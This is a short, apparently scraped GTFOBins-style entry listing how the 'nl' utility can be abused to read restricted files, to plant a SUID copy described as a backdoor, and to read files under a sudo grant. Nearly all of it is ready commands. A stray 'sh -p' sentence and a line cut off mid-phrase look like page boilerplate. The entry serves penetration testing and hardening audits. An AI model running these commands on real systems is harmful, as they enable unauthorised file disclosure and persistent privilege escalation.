The read file content is corrupted by a leading space added to each line.
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read nl -bn -w1 -s '' $LFILE
It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
sudo sh -c 'cp $(which nl) .; chmod +s ./nl' LFILE=file_to_read ./nl -bn -w1 -s '' $LFILE
It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on
LFILE=file_to_read sudo nl -bn -w1 -s '' $LFILE